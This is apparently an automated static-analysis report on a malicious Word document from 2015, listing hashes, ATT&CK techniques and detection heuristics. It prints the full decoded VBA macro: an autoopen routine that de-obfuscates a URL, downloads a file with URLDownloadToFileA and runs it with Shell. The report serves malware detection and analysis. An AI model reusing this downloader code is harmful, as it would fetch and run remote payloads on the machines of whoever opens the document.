Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b8dc4c8dcc9d7be5…

MALICIOUS

Office (OLE)

33.0 KB Created: 2015-01-26 05:55:00 Authoring application: Microsoft Office Word First seen: 2015-03-15
MD5: b13425a710f219a7b5620fba174c75af SHA-1: 16242125a0f9aa2e99509c6dc211550a2ca354be SHA-256: b8dc4c8dcc9d7be5e82079b2f28a63363afc9c3ebadd4034b98b4862e39db580
276 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains a VBA macro with an autoopen subroutine that calls the URLDownloadToFileA function. This function is used to download a file from a URL, which is then executed using the Shell function. The macro is obfuscated, but the intent to download and execute a payload is clear. The presence of the URLDownloadToFileA API call and the autoopen macro strongly suggests a downloader or droppper malware.

Heuristics 8

  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    G32Q = Shell(lb2tLi3yX9, 1)
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        "URLDownloadToFileA" (ByVal fdgsdfFF As LongPtr, _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ukQ2q73 wNLiDcUQctHeQbyt("h[tQtSpO:Y/</IaW-wvFoEldlPsVtFaveJd…tЃ.^dHeo/]jKsf/zbYiXn?.@etx„e9"), Environ(wNLiDcUQctHeQbyt("T8M}P-")) & wNLiDcUQctHeQbyt("\9G1HHjhk…d/j2fDgrjhk=G@K J'.Le\xGe„")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2158 bytes
SHA-256: 9efb98669b9c8fdcf891d5e1a02a8ef2415505153dfb809518aca7d32939b3b3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
yQtUv56E4r
End Sub

Attribute VB_Name = "Module1"
#If VBA7 Then
    Private Declare PtrSafe Function sdfsdfsdfsdf Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal fdgsdfFF As LongPtr, _
    ByVal gfhgfhF As String, _
    ByVal hjkhgFF As String, _
    ByVal gfhfghF As Long, _
    ByVal gfdgdf As LongPtr) As LongPtr
#Else
    Private Declare Function sdfsdfsdfsdf Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal fdgsdfFF As Long, _
    ByVal gfhgfhF As String, _
    ByVal hjkhgFF As String, _
    ByVal gfhfghF As Long, _
    ByVal gfdgdf As Long) As Long
#End If
Function ukQ2q73(o9Z_ As String, lb2tLi3yX9 As String) As Boolean
vJHKBJdfkgfg = sdfsdfsdfsdf(0&, o9Z_, lb2tLi3yX9, 0&, 0&)
Dim G32Q
G32Q = Shell(lb2tLi3yX9, 1)
End Function




Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "Module2"

Public Function wNLiDcUQctHeQbyt(TRQIOVnNMdSVNmP As String) As String
GoTo GiChFYjYUOh
GiChFYjYUOh:
GoTo lvBxJabwyHfMp
lvBxJabwyHfMp:
For saOjZPeoQQJJ = 1 To Len(TRQIOVnNMdSVNmP) Step 2
GoTo LTIokkjoZR
LTIokkjoZR:
GoTo ePgjmeCgKuqfzq
ePgjmeCgKuqfzq:
wNLiDcUQctHeQbyt = wNLiDcUQctHeQbyt & Mid(TRQIOVnNMdSVNmP, saOjZPeoQQJJ, 1)
GoTo nnaMoKQlSkVaAo
nnaMoKQlSkVaAo:
GoTo xuRnLR
xuRnLR:
GoTo drMOY
drMOY:
Next
GoTo VoIcVLrAAzEpipT
VoIcVLrAAzEpipT:
End Function


Attribute VB_Name = "Module3"
Sub yQtUv56E4r()
ukQ2q73 wNLiDcUQctHeQbyt("h[tQtSpO:Y/</IaW-wvFoEldlPsVtFaveJd…tЃ.^dHeo/]jKsf/zbYiXn?.@etx„e9"), Environ(wNLiDcUQctHeQbyt("T8M}P-")) & wNLiDcUQctHeQbyt("\9G1HHjhk…d/j2fDgrjhk=G@K J'.Le\xGe„")
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.